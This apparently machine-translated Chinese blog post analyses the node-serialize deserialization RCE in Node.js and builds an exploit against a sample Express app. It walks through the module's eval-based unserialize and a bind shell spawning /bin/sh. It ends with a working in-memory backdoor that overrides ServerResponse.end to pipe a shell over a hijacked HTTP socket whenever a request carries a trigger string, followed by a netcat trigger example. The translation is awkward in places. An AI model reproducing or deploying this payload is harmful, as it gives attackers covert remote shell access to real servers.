針對Node.js的node-serialize模塊反序列化漏洞的后續分析
前言
對Node.js序列化遠程命令執行漏洞的一些后續發現和怎樣開發攻擊載荷。
幾天前我在opsecx博客上發現了一篇怎樣利用一個名為node-serialize的nodejs模塊中的RCE(遠程執行代碼)錯誤的博客。文章很清楚地解釋了模塊上存在的問題,我卻想到另外一件事,就是Burp的利用過程很復雜,卻沒有用Burp進行攻擊 -Burp 是一個很強大的工具 - 我認為我們可以做得更好。
在這篇文章中,我想展示我對這個特定的RCE的看法,分享一些額外的見解,也許這些看法會對你以后的研究有幫助。
攻擊方面
在我們開始之前,先檢查攻擊面是否可以使用。不要濫用節點序列化模塊。
下面是所有依賴模塊的列表:cdlib,cdlibjs,intelligence,malice,mizukiri,modelproxy-engine-mockjs,node-help,sa-sdk-node,scriby,sdk-sa-node,shelldoc,shoots。 因為沒有分析代碼,所以沒有辦法識別這些實現是否也是脆弱的,但是我假設它是脆弱性的。
更重要的是,我們還沒有回答這個模塊使用有多么廣泛的這個問題。 每月2000次下載可能意味著許多事情,很難估計這個數字后面的應用程序數量。 快速瀏覽一下github和google是獲得一些答案的有效方法,但是我卻發現一些有趣的地方。
GitHub搜索回顯了97個潛在的易受攻擊的公共模塊/應用程序,這些模塊/應用程序最有可能被私人使用,因為沒有登錄npmjs.com。 通過代碼瀏覽可以理解這個問題是多么廣泛(或沒有)。 我很驚訝地發現,它與神奇寶貝有關。我要去搞清楚!
我將在這里支持https://nodesecurity.io ,因為它是唯一的方法,在這種情況下,還對NodeJS模塊系統保持關注。 它對開源項目是免費的。
測試環境
到目前為止,我們認為我們正在處理一個具有有限的濫用潛力的漏洞,這從公共安全角度來看是有好處的。 讓我們進入更學術的一面,來重新利用它。 為了測試成功,我們需要一個易受攻擊的應用程序。 opsecx有一個這樣的程序,所以我們將在本練習中使用它。 代碼相當簡單。
- var express = require('express');
- var cookieParser = require('cookie-parser');
- var escape = require('escape-html');
- var serialize = require('node-serialize');
- var app = express();
- app.use(cookieParser())
- app.get('/', function(req, res) {
- if (req.cookies.profile) {
- var str = new Buffer(req.cookies.profile, 'base64').toString();
- var obj = serialize.unserialize(str);
- if (obj.username) {
- res.send("Hello " + escape(obj.username));
- }
- } else {
- res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
- maxAge: 900000,
- httpOnly: true
- });
- res.send("Hello stranger");
- }
- });
- app.listen(3000);
您將需要以下package.json文件來完成(做NPM的安裝)
- {
- "dependencies": {
- "cookie-parser": "^1.4.3",
- "escape-html": "^1.0.3",
- "express": "^4.14.1",
- "node-serialize": "0.0.4"
- }
- }
所以讓我們跳過實際的事情。 從代碼中可以看到,此示例Web應用程序正在使用用戶配置文件設置cookie,該配置文件是使用易受攻擊的節點模塊的序列化對象。 這都是在進行base64編碼。 要想知道base64字符串在打包時看起來是什么,我們可以使用ENcoder。
這看起來像標準JSON。 首先,讓我們設置Rest,以便我們可以測試它。 請注意,我們使用Cookie構建器來獲取正確的編碼,并且我們正在使用Encode小部件將JSON字符串轉換為Base64格式。
配置攻擊載荷
現在我們有一個工作請求,我們需要配置一個攻擊載荷。要做的第一件事是了解節點序列化漏洞究竟是如何工作的。縱觀源代碼這是很明顯的,該模塊將連續函數顯示在這里。
- } else if(typeof obj[key] === 'function') {
- var funcStr = obj[key].toString();
- if(ISNATIVEFUNC.test(funcStr)) {
- if(ignoreNativeFunc) {
- funcStr = 'function() {throw new Error("Call a native function unserialized")}';
- } else {
- throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.');
- }
- }
- outputObj[key] = FUNCFLAG + funcStr;
- } else {
一旦我們調用unserialize,這個問題就會顯現出來。 確切的方法在這里。
- if(obj[key].indexOf(FUNCFLAG) === 0) {
- obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
- } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
這意味著如果我們創建一個包含以_ $$ ND_FUNC $$ _開頭的值的任意參數的JSON對象,我們將執行遠程代碼,因為它將執行eval。 要測試這個,我們可以使用以下設置。
如果成功,并且它應該是成功的,您將得到一個錯誤,因為服務器將在請求完成之前退出。現在我們有遠程代碼執行,但是我們應該可以做得更好。
我們的重點
我發現在opsecx博客提出的利用技術有點粗魯,但是卻是個是非常好的演示。我們已經在關鍵過程中實現了eval,這樣我們可以做許多事情,以便獲得更好的入侵,而不需要涉及到python和階段攻擊。
這將存儲我們的代碼,使我們不必擔心編碼。 現在我們要做的是修改配置文件cookie,以便代碼變量可以嵌入在JSON和特殊方式node-serialize函數的正確編碼之后。
這很漂亮! 現在每次我們更改代碼變量時,配置文件cookie有效負載將通過保持編碼鏈和節點序列化來使其完全完成而動態更改。
內存后門
我們需要處理我們的代碼有效負載。 假設我們不知道應用程序是如何工作的,我們需要一個通用的方法來利用它,或者對于任何其他應用程序,沒有環境或設置的預先知識。 這意味著我們不能依賴可能存在或可能不存在的全局范圍變量。 我們不能依賴express應用程序導出,因此它可以訪問額外的路由安裝。 我們不想生成新的端口或反向shell,以保持最小的配置文件等。
這是一個很大的要求,但滿足一些研究后,很容易找到一種方法,來實現。
我們的旅程從http模塊引用ServerResponse函數開始。 ServerResponse的原型用作expressjs中的響應對象的__proto__。
- /**
- * Response prototype.
- */
- var res = module.exports = {
- __proto__: http.ServerResponse.prototype
- };
- This means that if we change the prototype of ServerResponse that will reflect into the __proto__ of the response. The send method from the response object calls into the ServerResponse prototype.
- if (req.method === 'HEAD') {
- // skip body for HEAD
- this.end();
- } else {
- // respond
- this.end(chunk, encoding);
- }
這意味著一旦send方法被調用,將調用end方法,這恰好來自ServerResponse的原型。 由于send方法被充分地用于任何與expressjs相關的事情,這也意味著我們現在有一個直接的方式來快速訪問更有趣的結構,如當前打開的套接字。 如果我們重寫原型的end方法,這意味著我們可以從這個引用獲得一個對socket對象的引用。
實現這種效果的代碼看起來像這樣。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- // TODO: this.socket gives us the current open socket
- }
- })(require('http').ServerResponse.prototype.end)
由于我們覆蓋了end的原型,我們還需要以某種方式區分我們的啟動請求和任何其他請求,因為這可能會導致一些意想不到的行為。 我們將檢查查詢參數的特殊字符串(abc123),告訴我們這是我們自己的惡意請求。 可以從這樣的套接字訪問httpMessage對象來檢索此信息。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- // TODO: this.socket._httpMessage.req.query give us reference to the query
- }
- })(require('http').ServerResponse.prototype.end)
現在我們準備好一切。 剩下的是啟動shell。 在節點中這是相對直接的。
- var cp = require('child_process')
- var net = require('net')
- net.createServer((socket) => {
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(socket)
- sh.stderr.pipe(socket)
- socket.pipe(sh.stdin)
- }).listen(5001)
在合并兩個段之后,最終代碼如下所示。 注意我們如何通過重用已經建立的套接字來重定向結束函數以在節點內產生一個shell。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- if (this.socket._httpMessage.req.query.q === 'abc123') {
- var cp = require('child_process')
- var net = require('net')
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(this.socket)
- sh.stderr.pipe(this.socket)
- this.socket.pipe(sh.stdin)
- } else {
- end.apply(this, arguments)
- }
- }
- })(require('http').ServerResponse.prototype.end)
現在打開netcat到localhost 3000并鍵入以下請求
- $ nc localhost 3000 GET /?q=abc123 HTTP/1.1
- ls -la
什么? 你得不到任何東西。你看,我們正在劫持一個現有的套接字,因此我們不是套接字的唯一保管人。 還有其他的事情可能響應那個套接字,所以我們需要確保我們照顧他們。 幸運的是,這是很容易實現與一點知識如何節點套接字工作。 最終的代碼看起來像這樣。
- require('http').ServerResponse.prototype.end = (function (end) {
- return function () {
- if (this.socket._httpMessage.req.query.q === 'abc123') {
- ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket))
- var cp = require('child_process')
- var net = require('net')
- var sh = cp.spawn('/bin/sh')
- sh.stdout.pipe(this.socket)
- sh.stderr.pipe(this.socket)
- this.socket.pipe(sh.stdin)
- } else {
- end.apply(this, arguments)
- }
- }
- })(require('http').ServerResponse.prototype.end)
現在,只要我們喜歡,我們就可以利用這個漏洞。 可以通過使用相同的服務器進程和建立的套接字打開具有我們的特殊字符串的請求來獲得遠程外殼。
結論
我們從一個簡單的RCE漏洞開始,最終創建了一個通用的方法來生成一個已經建立的HTTP通道的shell,它應該在許多類型的情況下獨立工作,有一些注意事項,我會留給你們。 整個事情的最棒的部分是在Rest的幫助下是開發簡單了很多,這無疑是最后幾個帖子中的功勞:1,2,3。


































